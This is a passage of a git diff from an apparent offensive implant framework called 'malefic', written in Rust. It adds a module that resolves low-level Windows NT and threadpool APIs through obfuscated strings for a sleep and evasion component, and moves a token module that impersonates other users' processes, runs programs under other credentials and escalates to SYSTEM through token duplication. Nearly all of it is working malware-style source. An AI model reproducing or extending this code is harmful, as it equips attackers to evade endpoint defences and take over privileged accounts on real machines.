MapType: u32, +) -> NTSTATUS; + +pub type RtlWalkHeapFn = + unsafe extern "system" fn(HeapHandle: *mut c_void, Entry: *mut RTL_HEAP_WALK_ENTRY) -> NTSTATUS; + +pub type NtAllocateVirtualMemoryFn = unsafe extern "system" fn( + ProcessHandle: HANDLE, + BaseAddress: *mut *mut c_void, + ZeroBits: usize, + RegionSize: *mut usize, + AllocationType: u32, + Protect: u32, +) -> NTSTATUS; + +pub type NtProtectVirtualMemoryFn = unsafe extern "system" fn( + ProcessHandle: *mut c_void, + BaseAddress: *mut *mut c_void, + RegionSize: *mut usize, + NewProtect: u32, + OldProtect: *mut u32, +) -> NTSTATUS; + +pub type NtCreateThreadExFn = unsafe extern "system" fn( + ThreadHandle: *mut HANDLE, + DesiredAccess: u32, + ObjectAttributes: *mut c_void, + ProcessHandle: HANDLE, + StartRoutine: *mut c_void, + Argument: *mut c_void, + CreateSuspended: u32, + ZeroBits: u32, + StackSize: u32, + MaximumStackSize: u32, + AttributeList: *mut c_void, +) -> NTSTATUS; + +pub type GetProcessHeapFn = unsafe extern "system" fn() -> *mut c_void; + +pub type RtlCreateHeapFn = unsafe extern "system" fn( + Flags: u32, + HeapBase: *mut c_void, + ReserveSize: usize, + CommitSize: usize, + Lock: *mut c_void, + Parameters: *mut c_void, +) -> *mut c_void; + +pub type RtlAllocateHeapFn = + unsafe extern "system" fn(HeapHandle: *mut c_void, Flags: u32, Size: usize) -> *mut c_void; + +pub type RtlFreeHeapFn = + unsafe extern "system" fn(HeapHandle: *mut c_void, Flags: u32, BaseAddress: *mut c_void) -> i8; diff --git a/malefic-crates/win/src/sleep/winapis.rs b/malefic-crates/win/src/sleep/winapis.rs new file mode 100644 index 0000000..d4334fa --- /dev/null +++ b/malefic-crates/win/src/sleep/winapis.rs @@ -0,0 +1,552 @@ +#![allow( + non_snake_case, + non_camel_case_types, + non_upper_case_globals, + clippy::missing_transmute_annotations +)] + +use core::ffi::c_void; +use core::mem::transmute; +use core::ptr::null_mut; +use std::sync::OnceLock; + +use malefic_gateway::obfstr::obfstr as s; + +use crate::kit::apis::{m_get_proc_address, m_load_library_a}; +use crate::sleep::types::*; + +// ── One-time initialization ────────────────────────────────────────── + +static WINAPIS: OnceLock = OnceLock::new(); + +// ── DLL wrapper ────────────────────────────────────────────────────── + +#[derive(Default, Debug, Clone, Copy)] +pub struct Modules { + pub ntdll: Dll, + pub kernel32: Dll, + pub cryptbase: Dll, + pub kernelbase: Dll, +} + +#[derive(Default, Debug, Clone, Copy)] +#[repr(transparent)] +pub struct Dll(u64); + +impl Dll { + #[inline] + pub fn as_ptr(self) -> *mut c_void { + self.0 as *mut c_void + } + + #[inline] + pub fn as_u64(self) -> u64 { + self.0 + } +} + +impl From<*const c_void> for Dll { + fn from(ptr: *const c_void) -> Self { + Self(ptr as u64) + } +} + +impl From<*mut c_void> for Dll { + fn from(ptr: *mut c_void) -> Self { + Self(ptr as u64) + } +} + +impl From for Dll { + fn from(addr: u64) -> Self { + Self(addr) + } +} + +impl From for u64 { + fn from(dll: Dll) -> Self { + dll.0 + } +} + +// ── WinAPI function pointer wrapper ────────────────────────────────── + +#[derive(Default, Debug, Clone, Copy)] +#[repr(transparent)] +pub struct WinApi(u64); + +impl WinApi { + #[inline] + pub fn as_ptr(self) -> *const c_void { + self.0 as *const c_void + } + + #[inline] + pub fn as_mut_ptr(self) -> *mut c_void { + self.0 as *mut c_void + } + + #[inline] + pub fn is_null(self) -> bool { + self.0 == 0 + } + + #[inline] + pub fn as_u64(self) -> u64 { + self.0 + } +} + +impl From<*const c_void> for WinApi { + fn from(ptr: *const c_void) -> Self { + Self(ptr as u64) + } +} + +impl From<*mut c_void> for WinApi { + fn from(ptr: *mut c_void) -> Self { + Self(ptr as u64) + } +} + +impl From for WinApi { + fn from(addr: u64) -> Self { + Self(addr) + } +} + +impl From for u64 { + fn from(api: WinApi) -> Self { + api.0 + } +} + +// ── Resolved function pointers ─────────────────────────────────────── + +pub struct Winapis { + pub NtSignalAndWaitForSingleObject: NtSignalAndWaitForSingleObjectFn, + pub NtQueueApcThread: NtQueueApcThreadFn, + pub NtAlertResumeThread: NtAlertResumeThreadFn, + pub NtDuplicateObject: NtDuplicateObjectFn, + pub NtCreateEvent: NtCreateEventFn, + pub NtWaitForSingleObject: NtWaitForSingleObjectFn, + pub NtClose: NtCloseFn, + pub NtSetEvent: NtSetEventFn, + pub TpAllocPool: TpAllocPoolFn, + pub TpSetPoolStackInformation: TpSetPoolStackInformationFn, + pub TpSetPoolMinThreads: TpSetPoolMinThreadsFn, + pub TpSetPoolMaxThreads: TpSetPoolMaxThreadsFn, + pub TpAllocTimer: TpAllocFn, + pub TpSetTimer: TpSetTimerFn, + pub TpAllocWait: TpAllocFn, + pub TpSetWait: TpSetWaitFn, + pub CloseThreadpool: CloseThreadpoolFn, + pub RtlWalkHeap: RtlWalkHeapFn, + pub ConvertFiberToThread: ConvertFiberToThreadFn, + pub ConvertThreadToFiber: ConvertThreadToFiberFn, + pub CreateFiber: CreateFiberFn, + pub DeleteFiber: DeleteFiberFn, + pub SwitchToFiber: SwitchToFiberFn, + pub NtAllocateVirtualMemory: NtAllocateVirtualMemoryFn, + pub NtProtectVirtualMemory: NtProtectVirtualMemoryFn, + pub NtLockVirtualMemory: NtLockVirtualMemoryFn, + pub NtCreateThreadEx: NtCreateThreadExFn, + pub GetProcessHeap: GetProcessHeapFn, + pub RtlCreateHeap: RtlCreateHeapFn, + pub RtlAllocateHeap: RtlAllocateHeapFn, + pub RtlFreeHeap: RtlFreeHeapFn, +} + +/// Returns a reference to the resolved Winapis structure. +#[inline] +pub fn winapis() -> &'static Winapis { + WINAPIS.get_or_init(|| unsafe { + let ntdll = m_load_library_a(s!("ntdll.dll\0").as_ptr()); + let kernel32 = m_load_library_a(s!("kernel32.dll\0").as_ptr()); + let kernelbase = m_load_library_a(s!("kernelbase.dll\0").as_ptr()); + + Winapis { + NtSignalAndWaitForSingleObject: transmute(m_get_proc_address( + ntdll, + s!("NtSignalAndWaitForSingleObject\0").as_ptr(), + )), + NtQueueApcThread: transmute(m_get_proc_address( + ntdll, + s!("NtQueueApcThread\0").as_ptr(), + )), + NtAlertResumeThread: transmute(m_get_proc_address( + ntdll, + s!("NtAlertResumeThread\0").as_ptr(), + )), + NtDuplicateObject: transmute(m_get_proc_address( + ntdll, + s!("NtDuplicateObject\0").as_ptr(), + )), + NtCreateEvent: transmute(m_get_proc_address(ntdll, s!("NtCreateEvent\0").as_ptr())), + NtWaitForSingleObject: transmute(m_get_proc_address( + ntdll, + s!("NtWaitForSingleObject\0").as_ptr(), + )), + NtClose: transmute(m_get_proc_address(ntdll, s!("NtClose\0").as_ptr())), + NtSetEvent: transmute(m_get_proc_address(ntdll, s!("NtSetEvent\0").as_ptr())), + TpAllocPool: transmute(m_get_proc_address(ntdll, s!("TpAllocPool\0").as_ptr())), + TpSetPoolStackInformation: transmute(m_get_proc_address( + ntdll, + s!("TpSetPoolStackInformation\0").as_ptr(), + )), + TpSetPoolMinThreads: transmute(m_get_proc_address( + ntdll, + s!("TpSetPoolMinThreads\0").as_ptr(), + )), + TpSetPoolMaxThreads: transmute(m_get_proc_address( + ntdll, + s!("TpSetPoolMaxThreads\0").as_ptr(), + )), + TpAllocTimer: transmute(m_get_proc_address(ntdll, s!("TpAllocTimer\0").as_ptr())), + TpSetTimer: transmute(m_get_proc_address(ntdll, s!("TpSetTimer\0").as_ptr())), + TpAllocWait: transmute(m_get_proc_address(ntdll, s!("TpAllocWait\0").as_ptr())), + TpSetWait: transmute(m_get_proc_address(ntdll, s!("TpSetWait\0").as_ptr())), + CloseThreadpool: transmute(m_get_proc_address( + kernel32, + s!("CloseThreadpool\0").as_ptr(), + )), + RtlWalkHeap: transmute(m_get_proc_address(ntdll, s!("RtlWalkHeap\0").as_ptr())), + ConvertFiberToThread: transmute(m_get_proc_address( + kernelbase, + s!("ConvertFiberToThread\0").as_ptr(), + )), + ConvertThreadToFiber: transmute(m_get_proc_address( + kernelbase, + s!("ConvertThreadToFiber\0").as_ptr(), + )), + CreateFiber: transmute(m_get_proc_address(kernelbase, s!("CreateFiber\0").as_ptr())), + DeleteFiber: transmute(m_get_proc_address(kernelbase, s!("DeleteFiber\0").as_ptr())), + SwitchToFiber: transmute(m_get_proc_address( + kernelbase, + s!("SwitchToFiber\0").as_ptr(), + )), + NtAllocateVirtualMemory: transmute(m_get_proc_address( + ntdll, + s!("NtAllocateVirtualMemory\0").as_ptr(), + )), + NtProtectVirtualMemory: transmute(m_get_proc_address( + ntdll, + s!("NtProtectVirtualMemory\0").as_ptr(), + )), + NtLockVirtualMemory: transmute(m_get_proc_address( + ntdll, + s!("NtLockVirtualMemory\0").as_ptr(), + )), + NtCreateThreadEx: transmute(m_get_proc_address( + ntdll, + s!("NtCreateThreadEx\0").as_ptr(), + )), + GetProcessHeap: transmute(m_get_proc_address( + kernel32, + s!("GetProcessHeap\0").as_ptr(), + )), + RtlCreateHeap: transmute(m_get_proc_address(ntdll, s!("RtlCreateHeap\0").as_ptr())), + RtlAllocateHeap: transmute(m_get_proc_address(ntdll, s!("RtlAllocateHeap\0").as_ptr())), + RtlFreeHeap: transmute(m_get_proc_address(ntdll, s!("RtlFreeHeap\0").as_ptr())), + } + }) +} + +// ── Wrapper functions ──────────────────────────────────────────────── + +#[inline] +pub fn NtClose(Handle: HANDLE) -> NTSTATUS { + unsafe { (winapis().NtClose)(Handle) } +} + +#[inline] +pub fn NtSetEvent(hEvent: *mut c_void, PreviousState: *mut i32) -> NTSTATUS { + unsafe { (winapis().NtSetEvent)(hEvent, PreviousState) } +} + +#[inline] +pub fn NtWaitForSingleObject(Handle: HANDLE, Alertable: u8, Timeout: *mut i32) -> NTSTATUS { + unsafe { (winapis().NtWaitForSingleObject)(Handle, Alertable, Timeout) } +} + +#[inline] +pub fn NtCreateEvent( + EventHandle: *mut HANDLE, + DesiredAccess: u32, + ObjectAttributes: *mut c_void, + EventType: EVENT_TYPE, + InitialState: u8, +) -> NTSTATUS { + unsafe { + (winapis().NtCreateEvent)( + EventHandle, + DesiredAccess, + ObjectAttributes, + EventType, + InitialState, + ) + } +} + +#[inline] +pub fn NtDuplicateObject( + SourceProcessHandle: HANDLE, + SourceHandle: HANDLE, + TargetProcessHandle: HANDLE, + TargetHandle: *mut HANDLE, + DesiredAccess: u32, + HandleAttributes: u32, + Options: u32, +) -> NTSTATUS { + unsafe { + (winapis().NtDuplicateObject)( + SourceProcessHandle, + SourceHandle, + TargetProcessHandle, + TargetHandle, + DesiredAccess, + HandleAttributes, + Options, + ) + } +} + +#[inline] +pub fn NtLockVirtualMemory( + ProcessHandle: HANDLE, + BaseAddress: *mut *mut c_void, + RegionSize: *mut usize, + MapType: u32, +) -> NTSTATUS { + unsafe { (winapis().NtLockVirtualMemory)(ProcessHandle, BaseAddress, RegionSize, MapType) } +} + +#[inline] +pub fn NtAllocateVirtualMemory( + ProcessHandle: HANDLE, + BaseAddress: *mut *mut c_void, + ZeroBits: usize, + RegionSize: *mut usize, + AllocationType: u32, + Protect: u32, +) -> NTSTATUS { + unsafe { + (winapis().NtAllocateVirtualMemory)( + ProcessHandle, + BaseAddress, + ZeroBits, + RegionSize, + AllocationType, + Protect, + ) + } +} + +#[inline] +pub fn NtProtectVirtualMemory( + ProcessHandle: *mut c_void, + BaseAddress: *mut *mut c_void, + RegionSize: *mut usize, + NewProtect: u32, + OldProtect: *mut u32, +) -> NTSTATUS { + unsafe { + (winapis().NtProtectVirtualMemory)( + ProcessHandle, + BaseAddress, + RegionSize, + NewProtect, + OldProtect, + ) + } +} + +#[inline] +pub fn NtAlertResumeThread(ThreadHandle: HANDLE, PreviousSuspendCount: *mut u32) -> NTSTATUS { + unsafe { (winapis().NtAlertResumeThread)(ThreadHandle, PreviousSuspendCount) } +} + +#[inline] +pub fn NtQueueApcThread( + ThreadHandle: HANDLE, + ApcRoutine: *mut c_void, + ApcArgument1: *mut c_void, + ApcArgument2: *mut c_void, + ApcArgument3: *mut c_void, +) -> NTSTATUS { + unsafe { + (winapis().NtQueueApcThread)( + ThreadHandle, + ApcRoutine, + ApcArgument1, + ApcArgument2, + ApcArgument3, + ) + } +} + +#[inline] +pub fn NtSignalAndWaitForSingleObject( + SignalHandle: HANDLE, + WaitHandle: HANDLE, + Alertable: u8, + Timeout: *mut LARGE_INTEGER, +) -> NTSTATUS { + unsafe { + (winapis().NtSignalAndWaitForSingleObject)(SignalHandle, WaitHandle, Alertable, Timeout) + } +} + +#[inline] +pub fn TpAllocPool(PoolReturn: *mut *mut c_void, Reserved: *mut c_void) -> NTSTATUS { + unsafe { (winapis().TpAllocPool)(PoolReturn, Reserved) } +} + +#[inline] +pub fn TpSetPoolStackInformation( + Pool: *mut c_void, + PoolStackInformation: *mut TP_POOL_STACK_INFORMATION, +) -> NTSTATUS { + unsafe { (winapis().TpSetPoolStackInformation)(Pool, PoolStackInformation) } +} + +#[inline] +pub fn TpSetPoolMinThreads(Pool: *mut c_void, MinThreads: u32) -> NTSTATUS { + unsafe { (winapis().TpSetPoolMinThreads)(Pool, MinThreads) } +} + +#[inline] +pub fn TpSetPoolMaxThreads(Pool: *mut c_void, MaxThreads: u32) { + unsafe { (winapis().TpSetPoolMaxThreads)(Pool, MaxThreads) } +} + +#[inline] +pub fn TpAllocTimer( + Timer: *mut *mut c_void, + Callback: *mut c_void, + Context: *mut c_void, + CallbackEnviron: *mut TP_CALLBACK_ENVIRON_V3, +) -> NTSTATUS { + unsafe { (winapis().TpAllocTimer)(Timer, Callback, Context, CallbackEnviron) } +} + +#[inline] +pub fn TpSetTimer(Timer: *mut c_void, DueTime: *mut LARGE_INTEGER, Period: u32, WindowLength: u32) { + unsafe { (winapis().TpSetTimer)(Timer, DueTime, Period, WindowLength) } +} + +#[inline] +pub fn TpAllocWait( + WaitReturn: *mut *mut c_void, + Callback: *mut c_void, + Context: *mut c_void, + CallbackEnviron: *mut TP_CALLBACK_ENVIRON_V3, +) -> NTSTATUS { + unsafe { (winapis().TpAllocWait)(WaitReturn, Callback, Context, CallbackEnviron) } +} + +#[inline] +pub fn TpSetWait(Wait: *mut c_void, Handle: *mut c_void, Timeout: *mut LARGE_INTEGER) { + unsafe { (winapis().TpSetWait)(Wait, Handle, Timeout) } +} + +#[inline] +pub fn CloseThreadpool(Pool: *mut c_void) -> NTSTATUS { + unsafe { (winapis().CloseThreadpool)(Pool) } +} + +#[inline] +pub fn RtlWalkHeap(HeapHandle: *mut c_void, Entry: *mut RTL_HEAP_WALK_ENTRY) -> NTSTATUS { + unsafe { (winapis().RtlWalkHeap)(HeapHandle, Entry) } +} + +#[inline] +pub fn GetProcessHeap() -> *mut c_void { + unsafe { (winapis().GetProcessHeap)() } +} + +#[inline] +pub fn RtlCreateHeap( + Flags: u32, + HeapBase: *mut c_void, + ReserveSize: usize, + CommitSize: usize, + Lock: *mut c_void, + Parameters: *mut c_void, +) -> *mut c_void { + unsafe { (winapis().RtlCreateHeap)(Flags, HeapBase, ReserveSize, CommitSize, Lock, Parameters) } +} + +#[inline] +pub fn RtlAllocateHeap(HeapHandle: *mut c_void, Flags: u32, Size: usize) -> *mut c_void { + unsafe { (winapis().RtlAllocateHeap)(HeapHandle, Flags, Size) } +} + +#[inline] +pub fn RtlFreeHeap(HeapHandle: *mut c_void, Flags: u32, BaseAddress: *mut c_void) -> i8 { + unsafe { (winapis().RtlFreeHeap)(HeapHandle, Flags, BaseAddress) } +} + +#[inline] +pub fn ConvertFiberToThread() -> i32 { + unsafe { (winapis().ConvertFiberToThread)() } +} + +#[inline] +pub fn ConvertThreadToFiber(lpParameter: *mut c_void) -> *mut c_void { + unsafe { (winapis().ConvertThreadToFiber)(lpParameter) } +} + +#[inline] +pub fn CreateFiber( + dwStackSize: usize, + lpStartAddress: LPFIBER_START_ROUTINE, + lpParameter: *const c_void, +) -> *mut c_void { + unsafe { (winapis().CreateFiber)(dwStackSize, lpStartAddress, lpParameter) } +} + +#[inline] +pub fn DeleteFiber(lpFiber: *mut c_void) { + unsafe { (winapis().DeleteFiber)(lpFiber) } +} + +#[inline] +pub fn SwitchToFiber(lpFiber: *mut c_void) { + unsafe { (winapis().SwitchToFiber)(lpFiber) } +} + +pub fn NtCreateThreadEx( + ThreadHandle: *mut HANDLE, + DesiredAccess: u32, + ObjectAttributes: *mut c_void, + ProcessHandle: HANDLE, + StartRoutine: *mut c_void, + Argument: *mut c_void, + CreateSuspended: u32, + ZeroBits: u32, + StackSize: u32, + MaximumStackSize: u32, + AttributeList: *mut c_void, +) -> NTSTATUS { + unsafe { + (winapis().NtCreateThreadEx)( + ThreadHandle, + DesiredAccess, + ObjectAttributes, + ProcessHandle, + StartRoutine, + Argument, + CreateSuspended, + ZeroBits, + StackSize, + MaximumStackSize, + AttributeList, + ) + } +} + +/// Lightweight NtSetEvent wrapper for use as a threadpool callback. +pub extern "C" fn NtSetEvent2(_: *mut c_void, event: *mut c_void, _: *mut c_void, _: u32) { + NtSetEvent(event, null_mut()); +} diff --git a/malefic-helper/src/win/token/mod.rs b/malefic-crates/win/src/token/mod.rs similarity index 81% rename from malefic-helper/src/win/token/mod.rs rename to malefic-crates/win/src/token/mod.rs index 96491a7..a60e5fb 100644 --- a/malefic-helper/src/win/token/mod.rs +++ b/malefic-crates/win/src/token/mod.rs @@ -1,20 +1,17 @@ use std::ffi::c_void; use std::ptr::null_mut; use windows::core::{Error, Result, HRESULT, PWSTR}; -use windows::Win32::Foundation::{CloseHandle, HANDLE, LUID}; +use windows::Win32::Foundation::{CloseHandle, GetLastError, ERROR_NOT_ALL_ASSIGNED, HANDLE, LUID}; use windows::Win32::Security::{ AdjustTokenPrivileges, DuplicateTokenEx, GetTokenInformation, ImpersonateLoggedOnUser, LogonUserW, LookupAccountSidW, LookupPrivilegeDisplayNameW, LookupPrivilegeNameW, LookupPrivilegeValueW, RevertToSelf, SecurityImpersonation, TokenElevation, TokenIntegrityLevel, TokenPrivileges, TokenUser, LOGON32_LOGON_INTERACTIVE, - LOGON32_PROVIDER_DEFAULT, LUID_AND_ATTRIBUTES, - SE_PRIVILEGE_ENABLED, SID_NAME_USE, TOKEN_ACCESS_MASK, - TOKEN_ADJUST_PRIVILEGES, TOKEN_ALL_ACCESS, TOKEN_ASSIGN_PRIMARY, TOKEN_DUPLICATE, - TOKEN_ELEVATION, TOKEN_PRIVILEGES, TOKEN_PRIVILEGES_ATTRIBUTES, TOKEN_QUERY, TOKEN_TYPE, -}; -use windows::Win32::System::Environment::{ - DestroyEnvironmentBlock, GetEnvironmentStringsW, + LOGON32_PROVIDER_DEFAULT, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, SID_NAME_USE, + TOKEN_ACCESS_MASK, TOKEN_ADJUST_PRIVILEGES, TOKEN_ALL_ACCESS, TOKEN_ASSIGN_PRIMARY, + TOKEN_DUPLICATE, TOKEN_ELEVATION, TOKEN_PRIVILEGES, TOKEN_QUERY, TOKEN_TYPE, }; +use windows::Win32::System::Environment::{DestroyEnvironmentBlock, GetEnvironmentStringsW}; use windows::Win32::System::SystemServices::{ SECURITY_MANDATORY_HIGH_RID, SECURITY_MANDATORY_LOW_RID, SECURITY_MANDATORY_MEDIUM_RID, }; @@ -26,8 +23,8 @@ use windows::Win32::System::Threading::{ PROCESS_VM_WRITE, STARTF_USESTDHANDLES, STARTUPINFOW, STARTUPINFOW_FLAGS, }; -use crate::win::common::{get_buffer, to_wide_string}; -use crate::win::pipe::AnonymousPipe; +use crate::common::{get_buffer, to_wide_string}; +use crate::pipe::AnonymousPipe; pub fn get_token(pid: u32, access_rights: TOKEN_ACCESS_MASK) -> Result { unsafe { @@ -131,15 +128,15 @@ pub fn impersonate_user(username: &str) -> Result { return Err(Error::from(HRESULT(1))); } - // 获å–è¿›ç¨‹ä¿¡æ¯ - let processes = match crate::common::process::get_processes() { + // Get process information + let processes = match malefic_process::get_processes() { Ok(procs) => procs, Err(_) => { return Err(Error::from(windows::core::HRESULT(1))); } }; - // é历所有进程,找到用户å匹é…的进程 + // Iterate through all processes to find matching username for (_pid, process) in processes.iter() { if process.owner == username { impersonate_process(process.pid)?; @@ -150,11 +147,11 @@ pub fn impersonate_user(username: &str) -> Result { RevertToSelf()?; } - // 返回错误表示未找到进程 + // Return error indicating process not found Err(Error::from(HRESULT(1))) } -const TOKEN_PRIMARY: TOKEN_TYPE = TOKEN_TYPE(1); // TOKEN_PRIMARY 的实际值为 1 +const TOKEN_PRIMARY: TOKEN_TYPE = TOKEN_TYPE(1); // TOKEN_PRIMARY actual value is 1 pub fn impersonate_process(pid: u32) -> Result { unsafe { @@ -247,7 +244,7 @@ pub fn get_process_integrity_level(token_handle: HANDLE) -> Result { &mut size_needed, )?; - // æå–完整性级别(最åŽ4字节) + // Extract integrity level (last 4 bytes) let privilege_level = u32::from_le_bytes([ buffer[size_needed as usize - 4], buffer[size_needed as usize - 3], @@ -255,7 +252,7 @@ pub fn get_process_integrity_level(token_handle: HANDLE) -> Result { buffer[size_needed as usize - 1], ]); - // 判断完整性级别并返回相应的字符串 + // Determine integrity level and return corresponding string Ok(match privilege_level { rid if rid < SECURITY_MANDATORY_LOW_RID as u32 => "Untrusted".to_string(), rid if rid < SECURITY_MANDATORY_MEDIUM_RID as u32 => "Low".to_string(), @@ -278,7 +275,7 @@ pub fn lookup_privilege_name_by_luid(luid: LUID) -> Result<(String, String)> { let mut display_name_len = display_name.len() as u32; let mut lang_id: u32 = 0; - // èŽ·å–æƒé™åç§° + // Get privilege name LookupPrivilegeNameW( PWSTR(null_mut()), &luid, @@ -286,7 +283,7 @@ pub fn lookup_privilege_name_by_luid(luid: LUID) -> Result<(String, String)> { &mut name_len, )?; - // èŽ·å–æƒé™æ˜¾ç¤ºåç§° + // Get privilege display name LookupPrivilegeDisplayNameW( PWSTR(null_mut()), PWSTR(name.as_mut_ptr()), @@ -295,7 +292,7 @@ pub fn lookup_privilege_name_by_luid(luid: LUID) -> Result<(String, String)> { &mut lang_id, )?; - // åªè¿”回实际使用的字符,去除空字符和未åˆå§‹åŒ–的缓冲区 + // Return only the actual characters used, removing null characters and uninitialized buffer let name_str = String::from_utf16_lossy(&name[..name_len as usize]); let display_name_str = String::from_utf16_lossy(&display_name[..display_name_len as usize]); @@ -309,13 +306,13 @@ pub fn get_privs() -> Result> { unsafe { let mut token_info_size: u32 = 0; - // 第一次调用 GetTokenInformation èŽ·å–æ‰€éœ€çš„ç¼“å†²åŒºå¤§å° + // First call to GetTokenInformation to get required buffer size let _ = GetTokenInformation(token_handle, TokenPrivileges, None, 0, &mut token_info_size); - // 分é…ç¼“å†²åŒºå¤§å° + // Allocate buffer size let mut buffer = vec![0u8; token_info_size as usize]; - // 第二次调用 GetTokenInformation,获å–实际的 TOKEN_PRIVILEGES ä¿¡æ¯ + // Second call to GetTokenInformation to get actual TOKEN_PRIVILEGES information let _ = GetTokenInformation( token_handle, TokenPrivileges, @@ -324,11 +321,11 @@ pub fn get_privs() -> Result> { &mut token_info_size, )?; - // è§£æž TOKEN_PRIVILEGES 结构 + // Parse TOKEN_PRIVILEGES structure let token_privileges = buffer.as_ptr() as *const TOKEN_PRIVILEGES; let privilege_count = (*token_privileges).PrivilegeCount as usize; - // 手动计算 Privileges 数组的ä½ç½®ï¼Œå¹¶è§£æžæ¯ä¸ªå…ƒç´  + // Manually calculate the position of Privileges array and parse each element let privileges_ptr = &(*token_privileges).Privileges as *const LUID_AND_ATTRIBUTES; let privileges_slice = std::slice::from_raw_parts(privileges_ptr, privilege_count); @@ -339,7 +336,7 @@ pub fn get_privs() -> Result> { priv_list.push((name, display_name)); } - // 关闭奿Ÿ„并返回特æƒåˆ—表 + // Close handle and return privilege list let _ = CloseHandle(token_handle); Ok(priv_list) } @@ -349,14 +346,14 @@ pub fn current_token_owner() -> Result { let token_handle = get_token(unsafe { GetCurrentProcessId() }, TOKEN_QUERY)?; unsafe { - // 第一次调用 GetTokenInformation èŽ·å–æ‰€éœ€çš„ç¼“å†²åŒºå¤§å° + // First call to GetTokenInformation to get required buffer size let mut size_needed: u32 = 0; let _ = GetTokenInformation(token_handle, TokenUser, None, 0, &mut size_needed); - // 分é…缓冲区以存储 TOKEN_USER ä¿¡æ¯ + // Allocate buffer to store TOKEN_USER information let mut buffer = vec![0u8; size_needed as usize]; - // 第二次调用 GetTokenInformation 获å–实际的 TOKEN_USER ä¿¡æ¯ + // Second call to GetTokenInformation to get actual TOKEN_USER information let _ = GetTokenInformation( token_handle, TokenUser, @@ -365,17 +362,17 @@ pub fn current_token_owner() -> Result { &mut size_needed, )?; - // è§£æžè¿”回的 TOKEN_USER 结构体 + // Parse returned TOKEN_USER structure let token_user = buffer.as_ptr() as *const windows::Win32::Security::SID_AND_ATTRIBUTES; - // 准备缓冲区以存储用户å和域å + // Prepare buffers to store username and domain name let mut user_name = vec![0u16; 256]; let mut domain_name = vec![0u16; 256]; let mut user_name_len = 256u32; let mut domain_name_len = 256u32; let mut sid_name_use = SID_NAME_USE::default(); - // 调用 LookupAccountSidW æŸ¥æ‰¾å¸æˆ·å + // Call LookupAccountSidW to lookup account name LookupAccountSidW( PWSTR(null_mut()), (*token_user).Sid, @@ -386,32 +383,31 @@ pub fn current_token_owner() -> Result { &mut sid_name_use, )?; - // æ ¼å¼åŒ–用户å和域å + // Format username and domain name let full_name = format!( "{}\\{}", String::from_utf16_lossy(&domain_name[..domain_name_len as usize]), String::from_utf16_lossy(&user_name[..user_name_len as usize]) ); - // 关闭奿Ÿ„并返回全å + // Close handle and return full name let _ = CloseHandle(token_handle); Ok(full_name) } } - -/// 以指定用户身份è¿è¡Œç¨‹åº +/// Run program as specified user /// /// # Arguments /// -/// * `username` - 用户å -/// * `domain` - 域å,如果是本地用户å¯ä»¥ä¸ºç©ºæˆ–"." -/// * `password` - å¯†ç  -/// * `program` - è¦è¿è¡Œçš„程åºè·¯å¾„ -/// * `args` - 程åºå‚æ•° -/// * `use_network_credentials` - 是å¦ä»…ç”¨äºŽç½‘ç»œå‡­æ® -/// * `load_user_profile` - 是å¦åŠ è½½ç”¨æˆ·é…置文件 -/// * `inherit_env` - 是å¦ç»§æ‰¿å½“å‰çŽ¯å¢ƒå˜é‡ +/// * `username` - Username +/// * `domain` - Domain name, can be empty or "." for local user +/// * `password` - Password +/// * `program` - Program path to run +/// * `args` - Program arguments +/// * `use_network_credentials` - Whether to use network credentials only +/// * `load_user_profile` - Whether to load user profile +/// * `inherit_env` - Whether to inherit current environment variables pub fn run_as( username: &str, domain: &str, @@ -422,7 +418,7 @@ pub fn run_as( load_user_profile: bool, inherit_env: bool, ) -> Result { - // 首先å°è¯•å¯ç”¨å¿…è¦çš„æƒé™ + // First try to enable necessary privileges let _ = enable_privilege("SeAssignPrimaryTokenPrivilege"); let _ = enable_privilege("SeImpersonatePrivilege"); @@ -440,7 +436,7 @@ pub fn run_as( if inherit_env { unsafe { - // 获å–当å‰çŽ¯å¢ƒå˜é‡ + // Get current environment variables env_block = GetEnvironmentStringsW().0.cast(); if !env_block.is_null() { creation_flags |= CREATE_UNICODE_ENVIRONMENT; @@ -454,7 +450,7 @@ pub fn run_as( startup_info.wShowWindow = 0; // SW_HIDE startup_info.dwFlags |= STARTUPINFOW_FLAGS(0x00000001); // STARTF_USESHOWWINDOW - // 创建匿å管é“用于æ•获输出 + // Create anonymous pipe to capture output let pipe = AnonymousPipe::create()?; startup_info.hStdOutput = pipe.get_write_handle(); @@ -479,7 +475,7 @@ pub fn run_as( let output; unsafe { - // 首先å°è¯•使用CreateProcessAsUser + // First try using CreateProcessAsUser let mut h_token = HANDLE::default(); if LogonUserW( PWSTR(username_wide.as_ptr() as *mut u16), @@ -502,7 +498,7 @@ pub fn run_as( ) .is_ok() { - // å°è¯•使用CreateProcessAsUser + // Try using CreateProcessAsUser if CreateProcessAsUserW( h_duptoken, None, @@ -522,13 +518,13 @@ pub fn run_as( ) .is_ok() { - // å…³é—­å†™å…¥ç«¯ï¼Œè¿™æ ·å½“è¿›ç¨‹ç»“æŸæ—¶è¯»å–端会收到EOF + // Close write end so read end receives EOF when process ends let _ = CloseHandle(pipe.get_write_handle())?; - // 读å–输出 + // Read output output = pipe.read()?; - // 清ç†èµ„æº + // Clean up resources if !env_block.is_null() { let _ = DestroyEnvironmentBlock(env_block); } @@ -543,7 +539,7 @@ pub fn run_as( let _ = CloseHandle(h_token)?; } - // 如果CreateProcessAsUser失败,å°è¯•使用CreateProcessWithLogonW + // If CreateProcessAsUser fails, try using CreateProcessWithLogonW if CreateProcessWithLogonW( PWSTR(username_wide.as_ptr() as *mut u16), PWSTR(domain_wide.as_ptr() as *mut u16), @@ -563,13 +559,13 @@ pub fn run_as( ) .is_ok() { - // å…³é—­å†™å…¥ç«¯ï¼Œè¿™æ ·å½“è¿›ç¨‹ç»“æŸæ—¶è¯»å–端会收到EOF + // Close write end so read end receives EOF when process ends let _ = CloseHandle(pipe.get_write_handle())?; - // 读å–输出 + // Read output output = pipe.read()?; - // 清ç†èµ„æº + // Clean up resources if !env_block.is_null() { let _ = DestroyEnvironmentBlock(env_block); } @@ -578,7 +574,7 @@ pub fn run_as( return Ok(output); } - // 如果所有å°è¯•都失败,返回最åŽä¸€ä¸ªé”™è¯¯ + // If all attempts fail, return last error Err(Error::from_win32()) } } @@ -588,20 +584,20 @@ pub fn get_system() -> Result { } fn get_system_token_duplication() -> Result { - // å¯ç”¨å¿…è¦çš„æƒé™ + // Enable necessary privileges if let Err(_) = enable_privilege("SeDebugPrivilege") { - // 如果无法å¯ç”¨ SeDebugPrivilege,å°è¯•ç»§ç»­ + // If unable to enable SeDebugPrivilege, try to continue println!("Warning: Could not enable 